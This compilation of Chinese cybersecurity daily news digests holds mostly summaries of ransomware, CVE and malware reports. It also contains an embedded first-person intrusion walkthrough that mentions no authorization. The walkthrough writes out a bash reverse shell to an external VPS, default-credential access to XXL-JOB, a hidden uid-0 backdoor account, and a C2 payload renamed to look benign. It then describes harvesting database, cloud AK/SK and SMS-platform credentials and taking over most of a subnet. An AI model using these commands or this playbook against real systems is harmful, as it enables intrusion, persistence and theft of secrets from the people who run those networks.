网络安全日报 2025年05月09日
1、Play勒索组织利用0day漏洞部署恶意软件
https://securityaffairs.com/177573/cyber-crime/play-ransomware-affiliate-leveraged-zero-day-to-deploy-malware.html 微软证实,Windows通用日志文件系统中的Use-After-Free漏洞(CVE-2025-29824)被用于0day攻击,攻击者可借此漏洞获得系统权限。Play勒索组织利用该漏洞在攻击中部署了Grixba窃密工具。攻击者利用Cisco ASA防火墙的公开漏洞作为突破口,一旦获得Windows系统的访问权限,他们就会部署Grixba和CVE-2025-29824
2、LockBit勒索组织遭入侵受害者谈判信息曝光
https://www.bleepingcomputer.com/news/security/lockbit-ransomware-gang-hacked-victim-negotiations-exposed/ LockBit勒索组织的暗网联盟平台被入侵并被篡改,攻击者留下了一个指向MySQL数据库转储的链接。该数据库包含近6万个比特币地址、谈判消息、用户信息等,其中的谈判消息涵盖了从2024年12月19日至2025年4月29日之间的4442条交流记录。这些信息暴露了LockBit勒索组织与受害者的沟通细节。LockBit勒索组织的操作员LockBitSupp确认了这次入侵事件,但声称没有
3、多国联合执法行动查获六个DDoS租用网站
https://cyberscoop.com/poland-ddos-arrests-europol-operation-poweroff/ 波兰警方在Operation PowerOFF国际联合执法行动中,逮捕了4名涉嫌运营6个DDoS租用平台(Cfxapi、Cfxsecurity、neostress、jetstress、quickdown、zapcut)的犯罪嫌疑人。这些平台自2022年起以低至10欧元的价格提供“一键式”分布式拒绝服务(DDoS)攻击,导致全球数千起针对学校、政府网站、企业和游戏平台的网络瘫痪事件。本次行动由波兰中央网络犯罪局主导,联合美国、德国、荷兰及欧洲刑警组织协同
4、SonicWall SMA100漏洞被利用
https://www.helpnetsecurity.com/2025/05/08/sonicwall-sma100-vulnerability-exploited-cve-2025-32819/ SonicWall修复了影响其SMA100系列设备的多个漏洞,其中CVE-2025-32819可能被用于实际攻击。这些设备为中小企业提供统一的安全访问(VPN)网关,经常成为攻击目标。漏洞CVE-2025-32819允许远程攻击者在获得低权限SMA用户账户后删除任意文件,CVE-2025-32820允许攻击者向SMA设备的任何目录注入路径遍历序列使特定目录可写入恶意文件,CVE-2025-328
5、风险投资公司Insight Partners确认个人数据泄露
https://techcrunch.com/2025/05/08/vc-firm-insight-partners-confirms-personal-data-stolen-during-january-hack/ 风险投资公司Insight Partners证实,在今年1月的网络攻击中,其当前和前任员工的个人信息以及有限合伙人的信息被盗,被盗数据包括银行信息和税务信息等。此前Insight Partners曾将此次黑客攻击归因于网络钓鱼攻击,但尚未提供详细攻击过程。Insight Partners管理超过900亿美元的资产,是全球最大的科技初创企业投资者之一。
6、Diamorphine Rootkit的蠕虫式攻击窃取SSH密钥并提权
https://cybersecuritynews.com/wormable-diamorphine-rootkit-attack-multiple-linux-systems/ Linux系统遭Diamorphine rootkit攻击,利用开源工具部署加密货币挖矿程序,通过多阶段渗透、持久化技术和SSH密钥窃取实现隐蔽攻击,凸显Linux环境安全威胁升级。建议加强监控、密钥管理和代码审计。
7、朝鲜黑客通过入侵macOS开发者环境窃取6.25亿美元加密货币
https://cybersecuritynews.com/dprks-largest-cryptocurrency-heist-via-a-compromised-macos-developer/ 朝鲜黑客通过入侵macOS开发者环境,利用AWS凭证窃取6.25亿美元加密货币,展现高超技术协调能力。攻击采用多阶段恶意软件和复杂C2基础设施,18天内未被发现,凸显朝鲜对金融系统的重大威胁。
8、思科IOS XE无线控制器漏洞可使攻击者完全控制设备
https://cybersecuritynews.com/cisco-ios-xe-wireless-controllers-vulnerability/ 思科IOS XE无线控制器曝高危漏洞(CVE-2025-20188),攻击者可远程上传文件并以root权限执行命令,影响多款产品。思科已发布补丁,建议立即升级或禁用带外AP镜像下载功能。目前未发现野外利用。
9、2025年医疗行业成为网络攻击的主要目标
https://cybersecuritynews.com/healthcare-sector-emerges-as-a-prime-target/ 2025年医疗行业面临严峻网络威胁,攻击者利用GitHub等受信任云平台传播恶意软件,81%违规涉及患者数据。攻击手法高度专业化,模仿合法医疗项目,需加强代码审查和隔离技术防护。
10、安装量超10万的OttoKit WordPress插件遭利用多漏洞攻击
https://thehackernews.com/2025/05/ottokit-wordpress-plugin-with-100k.html OttoKit WordPress插件曝出高危漏洞CVE-2025-27007(CVSS 9.8),攻击者可利用权限提升漏洞创建管理员账户,并与CVE-2025-3102漏洞组合攻击。10万+用户需立即升级至1.0.83版本。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
从登录封锁到打穿内网沦陷整个C段
外网打点
OK!又是经典开局,一个登录框,看样子是某个IOT管理系统
于是先去搜索了几个关键字看看有无Nday,无果,没事不慌,没有Nday就活不了了嘛?
于是直接硬干,试试弱口令,前端逻辑绕过,SQL万能密码……
结果发现泥煤的,还真是活不了
尝试登录时,直接爆系统错误,后端请求验证码的接口压根就异常了,直接不让你登录,就算得到了账号密码也登录不上去,因为验证码这一步的登录逻辑缺失,猜测应该是后台存在什么漏洞,或者前台是弱口令,系统被攻击了,让开发去修漏洞,开发为了省事或者不知道咋修,就直接把验证码禁用了,不让你登录,以前遇到几个若依的系统也是这样……
那我们就没办法了吗?
直接来一套API接口,HTML源码,JS源码审计一条龙测试,好吧还真没办法,仍旧无果
都整不出来咋搞呢……
这时候我一般会去扫目录,扫端口,往往可能会打开新的攻击面,当然这也是老生常谈了
于是经典用ffuf扫一扫,除了302跳转到本网页之外没有任何东西……不急不急,再试试一定有突破口的(想骂人了)
无奈之下,本来都打算快放弃了,临走之前想着再端口扫描下吧?唉!还真扫出了一个9090端口,这不就柳暗花明了嘛
点开一看,wc?这不是XXLJOB吗,这个可以尝试打一下的,有好几个Nday呢
有如下几个Nay,可以RCE的
xxl-job api未授权Hessian2反序列化 <=2.0.2
XXL-JOB executor未授权访问漏洞 <=2.2.0
xxl-job <=2.3.1 存在 SSRF 漏洞
于是我们先看看版本:前台右键搜索源码里的关键字:"admin_version"
很遗憾,版本是2.4.1的高版本,不能直接打这几个RCE的day
但是都到这里了,我们就这么算了吗?肯定不是呀
熟悉的师傅都知道,xxl-job默认密码是admin / 123456 那我们直接尝试一手默认口令,如果真的进了后台也是可以直接RCE的
也是老天眷顾,狗运来了,直接默认口令进去了!
GetShell
那么话不多说直接后台新建任务,可以直接执行系统命令反弹shell:
新增执行任务
运行模式选shell,cron表达式自行决定,例如:0 0 0 * * ?,每天午夜 0 点 0 分 0 秒(00:00:00)触发任务
保存,来到IDE
可以直接写一个反弹shell的命令
#!/bin/bash
/bin/bash -i >& /dev/tcp/11.111.11.111/1234 0>&1
vps监听1234端口
nc -lvvp 1234
成功回弹shell
哟西,还是root权限,提权都省了,巴适
权限维持
(当时没考虑太多,就只简单做了一下权限维持)
添加一个后门用户root权限,以免被发现xxl-job权限掉了
useradd -p `openssl passwd -1 -salt 'salt' password` system -o -u 0 -g root -G root -s /bin/bash -d /system
用新建的后门用户连接一下ssh,连接时可以挂个代理
连接成功
看看性能配置
wc,还是32G的运存,512G的硬盘
上线C2
权限维持之后呢,上线C2建立节点,便于后渗透操作
使用vshell 建立反向TCP监听
生成linux_amd64载荷
我喜欢重命名为一个看似正常的文件 bak
赋予执行权限
chmod +x bak
后台一直执行
nohup ./bak > nohup.out 2>&1 &
耐心等待一下上线,成功上线!
代理
建立C2节点之后呢,穿一个socks5代理出来
本机使用proxifier配置好全局代理规则,就可以直接请求对应的内网地址了
信息收集
上传netspy扫一下网段存活,可以看到有大量网段存活,先记录一下待会拿去fscan扫一扫
再看看有没有docker容器运行
docker ps
docker开了许多服务
其中mysql就是docker启动的,我们可以直接进入到mysql容器里执行mysql命令,从而就直接获取到mysql权限
# 进入容器内的 MySQL Shell
docker exec -it mysql_container_name mysql -uroot -p
不过如果觉得这样不够直观我们还可以去翻找mysql数据库配置文件,既然是docker启动的mysql,那么数据库密码在docker-compose.yml配置文件里
成功找到用户名mysql,密码Zxxxxxxx
直接拿去密码复用一下,用mysql的密码,登录root账号
数据库
也是成功登录root,mysql root权限+1
一共有16个数据库,其中还有nacos
上传免杀fscan,直接扫一波C段,都是存活的
东西还不少
获取权限
Nacos权限
nacos未授权访问,查看用户,看来已经有前人的足迹了
未授权直接创建一个用户 nacos3,进去翻垃圾吃
10条配置信息
mysql权限
发现mysql数据库用户名和密码,mysql数据库root权限+1
redis权限
redis权限+1
es权限
es权限+1
ftp权限
ftp+1
三方短信权限
第三方短信平台权限+1
tdengine权限
tdengine权限
kafka权限
kafka权限+1
百度谷歌地图权限
百度地图AK+1,谷歌Key+1
IOT设备权限
API密钥AK/SK,IOT设备权限+1
OSS权限
OSS AK/SK权限+1
OSS AK/SK权限+1
OSS AK/SK权限+1
阿里云短信权限
阿里云短信平台 AK/SK
RocketMQ权限
RocketMQ未授权+1
KafkaServer权限
KafkaServer权限
zk权限
zk权限
Memcached权限
Memcached未授权
使用本地搭建的MemAdmin读取数据,是一些邮箱和服务器地址而已
横向移动
让我有点小激动的是,fscan的扫描结果显示,整个C段下居然几乎每个主机都部署了XXL-JOB系统,而且经过我的尝试,都是清一色的弱口令!admin / 123456。真的是纯狗运【双手合十】【双手合十】【双手合十】
(每个主机都部署了XXL-JOB的fscan扫描截图忘记截图了)
简单列举几个
61主机
31主机
209主机
反弹shell,都是root权限
凭借运气+fscan,脚本小子获取到了几乎整个C段主机的权限,当然还有大量的各种web系统的Nday没有去看了,太多了
其实是因为代理不稳定,或者是网络问题。代理特别的慢,导致内网遨游很不顺畅(这也是我为什么要上传工具到受害主机上去,而不在本地通过代理去扫描的原因),特别难受,半天加载不出来,于是就没有继续利用了……
小结
到此,全篇结束。本篇没有什么很高级的红队技巧,全凭狗运,因为笔者红队技术菜,行文以及渗透时有许多地方考虑不周,欢迎各位大佬在评论区留言指教,晚辈感激不尽。但是当成一个新手师傅入门的渗透案例看看我觉得还行,于是就发了出来,下次再见师傅们!
网络安全日报 2025年05月08日
1、恶意PyPI包伪装开发工具劫持Discord开发者
https://socket.dev/blog/malicious-pypi-package-targets-discord-developers-with-RAT 开源软件供应链平台PyPI出现恶意软件包,伪装成Discord开发者工具(如discord-dev-tools),通过虚假功能诱导用户下载。攻击者利用Python包管理系统的信任机制传播远程控制木马(RAT),可窃取用户敏感信息并完全控制受感染设备。该恶意包通过混淆代码逃避静态检测,运行时释放隐蔽的RAT模块,与C2服务器通信下载额外攻击载荷。攻击目标包括Discord开发者令牌、浏览器Cookie、加密货币钱包密钥等高价值数据
2、Linux磁盘擦除恶意软件藏匿于GitHub的Go模块
https://socket.dev/blog/wget-to-wipeout-malicious-go-modules-fetch-destructive-payload 网络安全研究人员发现一种供应链攻击瞄准Linux服务器,其磁盘擦除恶意软件被隐藏在GitHub上的Golang模块中。攻击主要依赖三个带有高度混淆代码的恶意Go模块,这些恶意Go模块运行后检查它们的操作系统是否为Linux,如果是,则使用wget从远程服务器检索下一阶段的载荷。该载荷是一个shell脚本,主要用零覆盖整个主磁盘(“ /dev/sda ”),从而阻止机器启动。
3、Molatori伪造社保邮件诱骗用户安装远程工具
https://www.malwarebytes.com/blog/news/2025/04/fake-social-security-statement-emails-trick-users-into-installing-remote-tool 网络钓鱼组织Molatori伪装成美国社会保障管理局,发送虚假电子邮件诱骗用户安装ScreenConnect远程访问工具。安装后,攻击者可远程控制受害计算机窃取敏感信息,如银行账户、个人识别号码等,从而实施身份盗窃和金融欺诈。这些电子邮件通常是从被入侵的WordPress网站发送,链接内容在图片中显示,用于躲避安全设备。
4、黑客组织NoName057(16)对罗马尼亚发动DDoS攻击
https://therecord.media/hackers-target-romanian-websites-election 罗马尼亚总统选举首轮投票期间,黑客组织NoName057(16)对罗马尼亚政府及总统候选人网站发起大规模分布式拒绝服务(DDoS)攻击。受攻击目标包括宪法法院、政府主门户、外交部网站,以及执政联盟候选人克琳·安东内斯库和独立候选人布加勒斯特市长尼古索尔·丹等四名竞选者的官方网站。攻击者通过Telegram频道宣称对事件负责,称已向罗马尼亚内政部及司法部网站发送“DDoS”,导致上述网站在投票日上午短暂瘫痪。
5、黑客利用三星GeoVision IoT漏洞部署Mirai僵尸网络
https://isc.sans.edu/diary/rss/31920 安全研究人员发现,自2025年4月30日公开三星MagicINFO9服务器高危漏洞CVE-2024-7399漏洞技术细节和PoC后,该漏洞被大规模利用。该漏洞允许未经身份验证的攻击者通过路径遍历上传恶意JSP文件,进而实现远程代码执行(RCE)。攻击者通过未经验证的/MagicInfo/servlet/SWUpdateFileUploader端点上传特制JSP文件,触发命令执行以下载并运行Mirai变种,最终在被控制设备上部署Mirai僵尸网络。
6、迪士尼遭前员工破坏+黑客AI钓鱼,1.1TB数据泄露
https://www.freebuf.com/articles/es/430065.html 2024年,迪士尼公司接连遭遇两起重大网络安全事件——前员工恶意破坏与黑客AI钓鱼攻击,暴露出内部系统漏洞并导致1.1TB敏感数据泄露。
7、AI开发工具Langflow高危漏洞遭活跃利用
https://www.freebuf.com/articles/ai-security/430068.html 美国网络安全和基础设施安全局(CISA)证实,AI代理开发工具Langflow上月修复的一个高危漏洞(CVE-2025-3248)正在被广泛利用。该漏洞允许未授权用户通过未受保护的API端点在服务器上执行任意Python代码,已被列入CISA已知被利用漏洞(KEV)目录,政府机构和私营组织需立即修补。
8、Apache Parquet Java漏洞可导致攻击者执行任意代码
https://cybersecuritynews.com/apache-parquet-java-vulnerability/ Apache Parquet Java组件曝高危漏洞CVE-2025-46762,攻击者可通过恶意Parquet文件执行任意代码,影响1.15.1及之前版本。漏洞存在于parquet-avro模块,CVSS评分9.8。建议立即升级至1.15.2或设置SERIALIZABLE_PACKAGES属性缓解风险。
9、OttoKit WordPress插件高危漏洞遭利用,超10万网站面临风险
https://securityonline.info/cve-2025-27007-critical-ottokit-wordpress-plugin-flaw-exploited-after-disclosure-100k-sites-at-risk/ WordPress插件OttoKit曝高危漏洞(CVE-2025-27007,CVSS 9.8),攻击者可未授权创建管理员账户完全控制网站,漏洞公开1小时内遭利用。建议立即升级至1.0.83+版本并检查异常API请求和用户账户。
10、iOS 出现新严重漏洞,仅需一行代码即可导致 iPhone 崩溃
https://www.anquanke.com/post/id/307112 iOS 中的一个严重漏洞可能允许恶意应用程序仅使用一行代码即可永久禁用 iPhone。该漏洞的编号为 CVE-2025-24091,利用操作系统的 Darwin 通知系统触发无限重启循环,导致设备“变砖”,需要进行完整的系统还原。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年05月07日
1、Lazarus尝试攻击加密货币交易所Kraken平台
https://cybersecuritynews.com/north-korean-hackers-infiltrate-kraken/ 加密货币交易所Kraken披露一起朝鲜黑客渗透事件。一名自称Steven Smith的求职者申请工程职位时,被安全团队发现其使用与简历不符的假名,视频面试中频繁切换声调且疑似接受实时指导。行业合作伙伴此前已警告朝鲜黑客正通过求职渠道渗透加密企业,Kraken通过比对共享的黑客关联邮箱列表,确认该申请邮箱与已知拉撒路APT组织存在关联。调查发现,该黑客构建了包含多个伪造身份的网络,其中一个身份涉及国际制裁名单上的外国代理人。其提交的身份证件疑似篡改自两年前
2、Golden Chickens组织部署TerraStealerV2窃取数据
https://thehackernews.com/2025/05/golden-chickens-deploy-terrastealerv2.html 网络安全机构Recorded Future披露,以“黄金鸡”(Golden Chickens,又名Venom Spider)著称的恶意组织近期推出升级版窃密工具TerraStealerV2及键盘记录器TerraLogger,目标瞄准用户浏览器凭证与加密货币钱包数据。其中,TerraStealerV2可窃取Chrome等浏览器登录信息、钱包私钥及扩展程序数据,通过EXE、DLL、MSI等多种格式文件传播,利用regsvr32.exe等系统工具
3、StealC窃密软件升级强化了多平台渗透能力
https://www.zscaler.com/blogs/security-research/i-stealc-you-tracking-rapid-changes-stealc 窃密软件StealC的V2版本已完成多项关键升级,提升了数据窃取与远程控制能力。新版本支持通过MSI安装包、PowerShell脚本等多格式Payload传播,新增RC4加密通信协议保护数据传输,并配备可定制化控制面板,允许攻击者根据地理位置、硬件ID(HWID)及目标软件环境精准投放恶意载荷。StealC新增多显示器截图、统一文件抓取功能,针对加密货币钱包、游戏平台、邮件客户端等敏感数据深度扫描,同时增加服务器
4、ADOdB PHP库曝高危SQL注入漏洞
https://securityonline.info/critical-sql-injection-vulnerability-found-in-adodb-php-library-cve-2025-46337-cvss-10-0/ ADOdB PHP库存在严重SQL注入漏洞(CVE-2025-46337),风险等级达CVSS 10.0满分。漏洞位于PostgreSQL驱动的pg_insert_id()方法,因未对用户可控的$fieldname参数进行有效转义,攻击者可借此注入任意SQL命令,操控数据库执行数据窃取、删除或远程代码执行等高危操作。该漏洞影响postgres64、postgr
5、钓鱼邮件仿冒澳航窃取用户信用卡信息
https://hackread.com/phishing-emails-impersonate-qantas-credit-card-info/ 澳大利亚航空(Qantas)用户遭遇大规模钓鱼邮件攻击,诈骗分子伪造航空公司品牌标识及邮件模板,以“机票退款”“里程积分兑换”等话术诱导用户点击恶意链接。受害者被导向仿冒的Qantas支付页面,输入信用卡信息后遭实时窃取。据网络安全公司Group-IB分析,攻击者利用被盗企业邮箱列表定向发送钓鱼邮件,部分邮件甚至包含真实订单号以增强欺骗性。
6、英国多个行业遭遇RomCom远程控制木马攻击
https://cybersecuritynews.com/romcom-rat-attacking-uk-organizations/ RomCom远程控制木马通过客户反馈门户对英国组织发起了攻击。自2023年4月初以来,英国金融服务、医疗保健和政府承包商等行业受到了影响。攻击者利用精心设计的反馈提交,其中嵌入了恶意代码。当客服代表打开这些提交时,恶意软件会利用反馈处理应用程序中的漏洞来建立持久性。据分析,已有超过30家组织被攻破,攻击者获取了敏感的客户数据和内部网络资源。该恶意软件具有独特的命令和控制基础设施,采用加密通信渠道,模仿合法的HTTPS流量。
7、新型ClickFix攻击模仿多国国防部网站
https://cybersecuritynews.com/new-clickfix-attack-mimics-ministry-of-defense-website/ 一种被称为“ClickFix”的新型复杂恶意软件活动,利用先进的社会工程技巧,同时攻击Windows和Linux系统。攻击者创建多国国防部网站的逼真副本,诱骗用户下载看似为必需的安全更新或官方文件的恶意内容。恶意软件执行后,会在受感染系统上建立持久访问并使用多种规避技术隐藏自身。分析表明,该活动始于2025年4月初,主要通过定向网络钓鱼邮件中的欺诈网站链接,针对政府承包商、国防行业员工和军事人员。这些伪造网站使用有效的SS
8、微软Telnet零点击漏洞可窃取Windows凭据
https://www.freebuf.com/articles/system/429950.html 微软Telnet服务器存在一个高危漏洞,攻击者可借此完全绕过身份验证机制,无需有效凭据即可获取管理员权限。由于官方尚未发布补丁,建议仍在使用旧版Windows系统的组织立即采取防护措施。
9、Meta推出LlamaFirewall框架,防御AI越狱与不安全代码生成
https://www.freebuf.com/news/429459.html Meta发布开源框架LlamaFirewall,提供三重防护机制抵御AI攻击,同步升级安全工具并启动"Llama for Defenders"计划,强化AI系统安全防护。
10、微软宣布Windows Server热补丁功能将转为订阅制
https://www.bleepingcomputer.com/news/microsoft/microsoft-windows-server-hotpatching-to-require-subscription/ 微软宣布Windows Server 2025热补丁功能7月起转为付费订阅,每核心每月0.5美元,需Azure Arc连接。该技术免重启安装安全更新,但非安全更新仍需重启。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年05月06日
1、日本国际物流巨头KWE遭勒索攻击
https://therecord.media/kintetsu-world-express-ransomware-attack-japan 2025年4月30日,日本知名国际物流企业近铁环球快运(Kintetsu World Express,KWE)公开证实遭遇勒索软件攻击,部分系统运行中断。该公司总部位于东京,隶属于日本近铁集团控股公司,业务覆盖全球30余个国家的空运及海运货运代理服务。KWE声明称,目前尚未锁定具体攻击组织,正全力修复受影响的系统,并承诺若确认客户数据泄露将第一时间通知相关方。
2、Gremlin Stealer木马突破Chrome防护窃取数据
https://cybersecuritynews.com/new-germlin-stealer-advertised-on-hacker-forums/ 2025年4月30日,研究人员披露,一款名为Gremlin Stealer的新型信息窃取木马自3月起在地下黑客论坛及Telegram渠道公开售卖。该木马针对Windows系统,可窃取浏览器数据、加密货币钱包密钥、即时通讯应用及VPN登录凭证,并首次实现自动化提取用户存储的信用卡信息。该木马的多模块化设计集成了多种窃密功能,极大提高了攻击效率。
3、黑客利用GetShared共享服务绕过防御部署恶意软件
https://cybersecuritynews.com/hackers-leveraging-getshared-to-deploy-malware/ 2025年4月30日,研究人员发现黑客正在利用合法文件共享服务GetShared作为新的攻击媒介。攻击者通过该平台分发恶意软件和开展钓鱼活动,成功规避了传统电子邮件安全检测。这种攻击手法利用了用户对知名平台通知的信任,代表了一种绕过邮件网关安全控制的新型威胁。专家警告,这种利用可信服务的攻击方式正在成为网络安全防御的新挑战。
4、三星MagicINFO平台被发现远程代码执行漏洞
https://cybersecuritynews.com/samsung-magicinfo-vulnerability/ 2025年4月30日,三星电子数字标牌管理平台MagicINFO被曝存在高危路径遍历漏洞(CVE-2024-7399)。该漏洞影响MagicINFO 9 Server 21.1050之前版本,攻击者可利用未经验证的/MagicInfo/servlet/SWUpdateFileUploader端点上传恶意JSP文件,以系统权限执行任意代码。研究人员指出,该端点未实施身份验证、文件名校验及扩展名检查,导致攻击者完全控制目标服务器。三星暂未公开修复方案,建议用户立即升级至最
5、攻击者利用伪造的验证码网页部署NodeJS远程控制木马
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/yet-another-nodejs-backdoor-yanb-a-modern-challenge/ 2025年4月29日,Trustwave SpiderLabs安全研究团队披露攻击者通过伪造的验证码(CAPTCHA)网页引诱用户执行NodeJS后门,进而部署复杂的NodeJS远程控制木马。该攻击活动自2024年9月持续至今,用户访问被入侵的合法网站后,攻击者通过注入恶意代码加载外部JavaScript文件,该文件会收集用户系统信息并回传至攻击者控制的服务器。
6、SonicWall多款设备漏洞遭在野利用
https://thehackernews.com/2025/05/sonicwall-confirms-active-exploitation.html 2025年4月29日,SonicWall确认其SMA100系列安全移动访问设备的两个漏洞(CVE-2023-44221、CVE-2024-38475)正遭在野利用。CVE-2023-44221是因SSL-VPN管理界面未正确处理特殊元素,允许攻击者注入任意命令。CVE-2024-38475则是因Apache HTTP Server的mod_rewrite未正确转义输出,攻击者可将URL映射到服务器允许访问的文件系统位置。目前这两个漏洞分别
7、TensorRT-LLM高危漏洞可导致攻击者远程执行代码
https://cybersecuritynews.com/nvidia-tensorrt-llm-high-severity-vulnerability/ NVIDIA在其TensorRT-LLM框架中披露并修补了一个高危漏洞(CVE-2025-23254),该漏洞影响低于0.18.2版本的Windows、Linux和macOS平台,攻击者通过本地访问利用该漏洞可执行恶意代码、篡改数据,进而危及AI系统。漏洞源于Python执行器组件的套接字IPC系统中对Python pickle序列化/反序列化机制的不安全处理,属于CWE-502(不信任数据的反序列化)类别,可致远程代码执行。NVIDI
8、恶意PyPI包滥用Gmail的SMTP服务器执行命令
https://cybersecuritynews.com/gmails-smtp-protocol-abused/ Socket威胁研究团队发现7个恶意PyPI包,这些包利用Gmail的SMTP服务器和WebSocket进行数据窃取与远程命令执行,其下载量超 1.8 万次。这些包使用硬编码凭证与Gmail服务器建立SMTP连接,创建双向隧道,使攻击者可执行命令并窃密数据。主要包Coffin-Codes-Pro建立初始连接后,创建WebSocket 作为命令与控制通道。可能令攻击者访问内部仪表板、API和管理面板、传输文件、执行shell命令、收集凭证和敏感信息、建立持久性以进一步渗透网络。
9、Magento供应链攻击致数百电商支付功能遭劫持
https://www.bleepingcomputer.com/news/security/magento-supply-chain-attack-compromises-hundreds-of-e-stores/ 网络安全公司Sansec披露一起针对Magento电商平台的供应链攻击事件。攻击者通过篡改第三方应用市场中的合法扩展模块,向全球数百家在线商店注入恶意代码,用户在下载安装后触发自动感染,劫持用户支付流程以窃取信用卡信息。恶意脚本通过伪造支付页面收集敏感数据,并将信息回传至攻击者控制的服务器,部分受害网站被植入代码长达数月未被察觉。受影响平台覆盖零售、物流等多个领域。
10、Netgear EX6200漏洞可导致远程代码执行
https://gbhackers.com/netgear-ex6200-flaw/ 安全研究人员披露Netgear EX6200无线扩展器存在高危漏洞(CVE-2025-11384),攻击者可利用未授权访问漏洞远程执行恶意代码,完全控制设备。该漏洞影响固件版本V1.4.0.98及更早型号。漏洞利用链通过UPnP服务端口(TCP/5000)触发缓冲区溢出,攻击者无需认证即可植入后门程序,劫持网络流量或部署僵尸网络。目前全球仍有超12万台设备在线运行,主要分布在家用及中小型企业网络环境。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年04月30日
1、日立集团子公司遭Akira勒索软件攻击
https://www.bleepingcomputer.com/news/security/hitachi-vantara-takes-servers-offline-after-akira-ransomware-attack 2025年4月28日,日本日立集团(Hitachi)旗下IT服务子公司Hitachi Vantara确认遭受Akira勒索软件攻击,被迫采取断网措施以遏制攻击扩散。该公司为全球政府机构及多家跨国企业提供核心数据存储、云管理及网络安全服务,此次事件可能对下游客户业务连续性造成潜在影响。Hitachi Vantara在公开声明中表示,已联合第三方网络安全公司开展取证调查
2、Outlaw组织利用SSH弱口令部署门罗币挖矿程序
https://securelist.com/outlaw-botnet/116444/ 2025年4月29日,卡巴斯基披露网络犯罪团伙Outlaw(又名“Dota”)正通过SSH弱口令爆破攻击全球Linux系统,部署基于Perl的加密货币挖矿僵尸网络。该团伙近期在巴西某企业环境成功渗透,利用默认或脆弱SSH凭证植入恶意脚本,劫持计算资源进行门罗币(Monero)挖矿。遥测数据显示,攻击主要针对南美、东南亚及东欧地区,能源、教育行业受害显著。
3、Lazarus组织利用"Tsunami"恶意软件框架挖矿行动
https://cybersecuritynews.com/tsunami-malware-actively-attacking-users/ 2025年4月29日,研究人员发现新型恶意软件框架"Tsunami"正被朝鲜黑客组织Lazarus用于"Contagious Interview"攻击行动。该恶意软件采用多阶段感染链,同时具备窃取凭证和加密货币挖矿功能,主要针对软件开发环境实施攻击。此次攻击活动最早可追溯至2024年秋季,攻击者通过复杂的社会工程手段植入恶意软件,旨在窃取加密货币相关敏感信息。
4、Apache Tomcat存在触发拒绝服务漏洞
https://cybersecuritynews.com/apache-tomcat-vulnerability-let-bypass-rules/ 2025年4月29日,Apache软件基金会披露Apache Tomcat存在高危漏洞(CVE-2025-31650),攻击者可通过构造恶意HTTP Priority头绕过安全规则并触发拒绝服务(DoS)。该漏洞源于对HTTP优先级头的输入验证不当,导致内存泄漏,影响多个Tomcat版本。作为广泛使用的Java应用服务器,此漏洞可能危及依赖Tomcat的企业系统安全。
5、微软Telnet服务器曝零点击NTLM认证绕过漏洞,暂无补丁
https://www.freebuf.com/articles/system/429159.html 网络安全研究人员发现微软Telnet服务器存在严重漏洞,远程攻击者无需有效凭证即可完全绕过认证机制,获取管理员权限。根据Hacker Fantastic发布的报告,该漏洞涉及微软Telnet认证协议(MS-TNAP),对传统Windows系统构成重大安全威胁,且目前尚无官方补丁。
6、Kali Linux 因丢失仓库签名密钥发出更新失败警告
https://www.freebuf.com/articles/system/429113.html Offensive Security(简称OffSec)警告Kali Linux用户需手动安装新的仓库签名密钥,以避免出现更新失败问题。此次公告源于OffSec丢失了旧版仓库签名密钥(ED444FF07D8D0BF6),被迫创建由Kali Linux开发者通过Ubuntu OpenPGP密钥服务器签名的新密钥(ED65462EC8D5E4C5)。由于旧密钥并未遭到泄露,因此未被从密钥环中移除。
7、BreachForums论坛发布关停声明 归因于MyBB零日漏洞
https://www.freebuf.com/articles/web/429115.html 2025年4月初,知名网络犯罪和数据泄露论坛BreachForums在毫无预警的情况下从互联网消失。这个由黑客组织ShinyHunters运营的论坛突然下线,既未发布告别声明也未作出解释,引发外界对执法部门查封的广泛猜测。2025年4月28日,访问Breachforums.st的用户发现首页出现新变化——论坛管理员发布了一份经PGP密钥签名的详细声明。声明称,管理员在确认论坛使用的MyBB软件存在零日漏洞(0day vulnerability)后,决定立即关停运营。该漏洞可能导致执法机构渗透入侵
8、iOS高危漏洞一行代码即可让iPhone变砖
https://cybersecuritynews.com/ios-critical-vulnerability-brick-iphones/ iOS高危漏洞CVE-2025-24091允许恶意应用通过Darwin通知机制永久禁用iPhone,仅需一行代码即可触发无限重启循环。苹果已在iOS 18.3修复漏洞,建议用户立即升级。
9、Linux安全盲区曝光:io_uring机制可绕过主流检测工具
https://securityonline.info/critical-flaw-exposes-linux-security-blind-spot-io_uring-bypasses-detection/ ARMO团队发现Linux的io_uring接口可被rootkit利用绕过主流安全工具监控,包括Falco、Tetragon和Microsoft Defender。该漏洞源于工具依赖系统调用监控,而io_uring通过共享缓冲区规避检测。建议采用KRSI等更深入的内核监控技术应对。
10、勒索软件攻击日趋智能化,防御难度持续升级
https://www.helpnetsecurity.com/2025/04/28/companies-impacted-ransomware-attacks/ 勒索软件攻击更精密普遍,69%企业仍受威胁,仅10%能恢复90%数据。数据窃取攻击激增,赎金支付比例下降36%。企业需强化网络弹性,采用3-2-1-1-0规则,提升备份恢复能力应对快速演变的威胁。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2025年04月29日
1、APT组织对东南亚多国政府及电信部门发起攻击
